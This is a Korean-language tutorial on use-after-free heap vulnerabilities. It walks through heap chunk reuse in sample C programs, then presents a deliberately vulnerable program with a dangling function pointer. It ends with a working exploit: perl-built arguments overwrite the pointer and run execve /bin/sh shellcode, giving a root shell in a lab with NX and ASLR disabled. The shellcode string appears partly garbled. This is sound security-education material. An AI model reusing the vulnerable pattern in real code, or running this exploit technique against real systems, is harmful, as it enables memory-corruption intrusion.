USE-AFTER-FREE tutorial

written by cd80@LeaveRet

UAF는 Use-After-Free의 약자이다
프로그램 메모리는 크게 Code / Data / Heap / Stack으로 나눌 수 있는데
Code + Data = Binary영역
Heap = 프로그래머가 동적 할당/회수/제어 할 수 있는 영역
Stack = 함수 개별공간(스택프레임), 인자전달등으로 사용하는 영역

이렇게 구분할 수 있다

이 중에서 UAF는 프로그래머가 힙 영역을 잘못 다뤘을 때 발생하는 취약점이다

아래 예제 코드를 보면

```
root@ubuntu:/home/exploit/uaf# cat test.c
typedef struct samplestruct{
        int number;
} sample;

main(){
        sample *one;
        sample *two;

        one = malloc(256);
        printf("[1] one->number: %d\n", one->number);
        one->number = 54321;
        printf("[2] one->number: %d\n", one->number);

        free(one);
        two = malloc(256);

        printf("[3] two->number: %d\n", two->number);
}
```

먼저 순서를 보면
1. 초기화 되지 않은 one->number 를 출력
2. 54321로 값을 대입 한 후 one->number 출력
3. free(one); 한 후 two = malloc(256); 하고 초기화 하지 않은 two->number를 출력
그럼 이제 이 코드를 실행하면 어떤일이 일어나는 지 보자

```
root@ubuntu:/home/exploit/uaf# ./test
[1] one->number: 0
[2] one->number: 54321
[3] two->number: 54321
root@ubuntu:/home/exploit/uaf#
```

one->number가 초기화되지 않았을때 0을 출력했다면
초기화되지 않은 two->number도 당연히 0을 출력해야 하지만
one->number에 대입한 값과 똑같은 값이 출력됐다

분석을 위해 코드를 하나 더 추가해보겠다

```
root@ubuntu:/home/exploit/uaf# cat test.c
typedef struct samplestruct{
        int number;
} sample;

main(){
        sample *one;
        sample *two;

        one = malloc(256);
        printf("[1] one->number: %d\n", one->number);
        one->number = 54321;
        printf("[2] one->number: %d\n", one->number);

        printf("[*] address of one : %p\n", one);

        free(one);
        two = malloc(256);

        printf("[3] two->number: %d\n", two->number);
        printf("[*] address of two : %p\n", two);

        free(two);

}
```

추가된 코드는 굵게 표시했다 (free부분은 중요치 않다)

다시 실행해보면

```
root@ubuntu:/home/exploit/uaf# ./test
[1] one->number: 0
[2] one->number: 54321
[*] address of one : 0x804b008
[3] two->number: 54321
[*] address of two : 0x804b008
root@ubuntu:/home/exploit/uaf#
```

one이 할당받았던 힙 주소와 two가 받은 주소가 동일한것을 알 수 있다

좀 더 use after free의 의미에 가까운 코드를 살펴보자

```
root@ubuntu:/home/exploit/uaf# cat test.c
typedef struct samplestruct{
        int number;
} sample;

main(){
        sample *one;
        sample *two;

        one = malloc(256);
        printf("[1] one->number: %d\n", one->number);
        one->number = 54321;
        printf("[2] one->number: %d\n", one->number);


        free(one);
        two = malloc(256);

        printf("[3] two->number: %d\n", two->number);

        one->number = 12345;

        printf("[4] two->number: %d\n", two->number);

        free(two);

}
root@ubuntu:/home/exploit/uaf#
```

상식적으로 free(one); 이후에 one->number에 값을 다시 대입할 수 있다는건 말이 안된다

사실 말이 되기때문에 이 취약점이 발생한다
다시 코드를 살펴보면

먼저 one과 two는

sample *one;
sample *two; 에 의해서 생성됐고 아직 초기화 되진 않은상태다

one = malloc(256); 에 의해서
one이 가르키는 주소는 0x804b008이 됐고
이후 one->number = 54321;을 실행해
0x804b008 메모리주소에 있는 값은 54321이 된다

이후 free(one); 을 하면 0x804b008 자체는 free 되겠지만 그렇다고해서 one의 값이 없어지는것은 아니다

```
  0x080484cb <+79>:mov    0x18(%esp),%eax
  0x080484cf <+83>: mov    %eax,(%esp)
  0x080484d2 <+86>:call   0x8048340 <free@plt>
```

free함수에 인자를 전달할때 lea 가 아닌 mov를 사용해 값만을 전달하기 때문에
free함수에서 one의 주소를 알아낼 수 없어 값을 변조할 수가 없다

때문에 free(one); 이후에도 one은 0x804b008을 가르키고 있다

그 후에 two = malloc(256);을 하면서 two도 주소를 받는데 그 주소가 0x804b008, 이전에 one이 사용하던 주소이다

지금 one과 two가 가르키는 메모리주소가 같다는 의미이다

여기서 one->number에 12345를 대입하면
one->number와 two->number가 위치하는 주소가 같기때문에
two->number를 출력했을때도 12345가 나오는것이다

그렇다면 왜 two가 one이 사용하던 주소를 받은것일까
이는 dlmalloc의 caching때문이다
참고 : http://g.oswego.edu/dl/html/malloc.html
Deferred Coalescing
Rather than coalescing freed chunks, leave them at their current sizes in hopes that another request for the same size will come along soon. This saves a coalesce, a later split, and the time it would take to find a non-exactly-matching chunk to split.
즉 힙 청크를 free하더라도 그 청크를 정리하기보다 그냥 다시 재활용하는 방법을 택한것이다
코드에서 똑같은 사이즈로 malloc 한 이유도 여기 나와있는 이유때문이었다

처음에 32바이트로 통일했었다가 다른 청크를 받아와버려서 좀더 크게 했더니 됐다
작은 크기일땐 안 되는 이유는 모르겠다

그럼 이제 이게 실제 프로그램에서 어떤 방식으로 사용되고 어떻게 익스플로잇 하는지 살펴보자
use after free는 객체를 다루는 프로그램에서 주로 발생하지만 C언어로도 구현할 수 있다

```
root@ubuntu:/home/exploit/uaf# cat vul.c
#include <stdio.h>
typedef struct somestruct{
        int id;
        char name[20];
        void (*clean)(void *);
} VULNSTRUCT;

void *cleanMemory(void *mem){
        free(mem);
}

int main(int argc, char *argv[]){
        void *ptr1;
        VULNSTRUCT *vuln = malloc(256);

        fflush(stdin);
        printf("Enter your id number : ");
        scanf("%d", &vuln->id);
        fflush(stdin);
        printf("Enter your name : ");
        scanf("%s", vuln->name);

        vuln->clean = cleanMemory;

        if(vuln->id > 400){
                printf("Your id is too big!\n");
                vuln->clean(vuln);
        }

        ptr1 = malloc(256);
        strcpy(ptr1, argv[1]);

        free(ptr1);
        vuln->clean(vuln);

        return 0;
}
```

위 프로그램은 uaf가 발생하고 이를 이용해 eip를 컨트롤할수 있다
컴파일은
gcc -o vul vul.c -fno-stack-protector -O0 으로 했다 (-O0 옵션을 준 이유는 최적화 시 clean()함수 호출을 free()함수로 대체해버리기 때문이다. 테스트 환경은 우분투 13.04 32비트이다)

```
root@ubuntu:/home/exploit/uaf# gdb -q vul
Reading symbols from /home/exploit/uaf/vul...(no debugging symbols found)...done.
(gdb) r $(perl -e 'print "A"x64')
Starting program: /home/exploit/uaf/vul $(perl -e 'print "A"x64')
warning: the debug information found in "/lib/ld-2.17.so" does not match "/lib/ld-linux.so.2"
(CRC mismatch).

Enter your id number : 1234
Enter your name : test
Your id is too big!

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r eip
eip            0x41414141       0x41414141
(gdb)
```

취약점이 발생하는 원리는 다음과 같다

```
        vuln->clean = cleanMemory;

        if(vuln->id > 400){
                printf("Your id is too big!\n");
                vuln->clean(vuln);
        }

        ptr1 = malloc(256);
        strcpy(ptr1, argv[1]);

        free(ptr1);
        vuln->clean(vuln);
```

이 코드가 핵심부분이다
먼저 vuln->clean 함수포인터에 cleanMemory()함수의 주소를 넣고
vuln->id 가 400보다 클 경우 “Your id is too big!\n” 을 출력하고 vuln->clean(vuln);을 호출한다

여기까진 좋은데, 여기서 발생하는 문제는 vuln을 free한 후에 free됐다는 걸 알려줄 flag같은게 없다는 점이다
프로그램 마지막에서 메모리 정리를 위해 free(ptr1) 과 vuln->clean(vuln)을 할때
vuln은 이미 free됐으므로 저기서 vuln을 다시 free하지 말거나
if(vuln->id > 400) { } 코드 블럭 안에서 프로그램을 종료시키거나 하는 처리가 있었어야 할 것이다

vuln의 사이즈가 256이고 이를 free한 후에 바로 malloc을 해 vuln이 가르키던 메모리주소를 ptr1이 그대로 갖게 되는 것이고
ptr1에다 strcpy(ptr1, argv[1]); 하면서 vuln이 있던곳에 argv[1]이 들어가고
vuln->clean 함수포인터까지 덮어씌울수 있게 되면서 eip 조작이 가능해진다

```
root@ubuntu:/home/exploit/uaf# gdb -q vul
Reading symbols from /home/exploit/uaf/vul...(no debugging symbols found)...done.
(gdb) r $(perl -e 'print "A"x64')
Starting program: /home/exploit/uaf/vul $(perl -e 'print "A"x64')
warning: the debug information found in "/lib/ld-2.17.so" does not match "/lib/ld-linux.so.2" (CRC mismatch).

Enter your id number : 1234
Enter your name : test
Your id is too big!

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r eip
eip            0x41414141       0x41414141
(gdb)
```

즉 위 상황에선 vuln->clean이 원래 cleanMemory()함수를 가르키다가
strcpy에 의해 함수포인터가 덮어씌워지면서 0x41414141을 가르키고 이를 호출하게 된것이다

우선 익스플로잇이 가능한지를 보기 위해 NX를 해제하고 쉘코드를 넣어 공격해보겠다
VULNSTRUCT의 구조는
int id
char name[20]
void (*clean)() 이다
따라서 clean 함수포인터는 offset + 24bytes 에 위치해있다

```
root@ubuntu:/home/exploit/uaf# ulimit -c unlimited
root@ubuntu:/home/exploit/uaf# ./vul $(perl -e 'print "A"x24, "BBBB",
```

```
"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd
0"')
Enter your id number : 1234
Enter your name : test
Your id is too big!
Segmentation fault (core dumped)
root@ubuntu:/home/exploit/uaf# gdb -c core -q
[New LWP 26404]
Core was generated by `./vul AAAAAAAAAAAAAAAAAAAAAAAABBBBj
                                        XRh//shh/bin□ㅓ'.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()
(gdb) x/20wx 0x804b008
0x804b008:    0x41414141   0x41414141   0x41414141   0x41414141
0x804b018:    0x41414141   0x41414141   0x42424242   0x99580b6a
0x804b028:    0x2f2f6852    0x2f686873    0x896e6962   0x895352e3
0x804b038:    0x0080cde1   0x00000000   0x00000000   0x00000000
0x804b048:    0x00000000   0x00000000   0x00000000   0x00000000
(gdb) q
root@ubuntu:/home/exploit/uaf# ./vul $(perl -e 'print "A"x24, "\x24\xb0\x04\x08",
"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd
0"')
Enter your id number : 1234
Enter your name : test
Your id is too big!
# ps
  PID TTY          TIME CMD
25936 pts/0    00:00:00 login
26043 pts/0    00:00:00 bash
26408 pts/0    00:00:00 sh
26409 pts/0    00:00:00 ps
#
```

ASLR과 NX가 걸려있지 않은 상황에서의 익스플로잇을 성공했다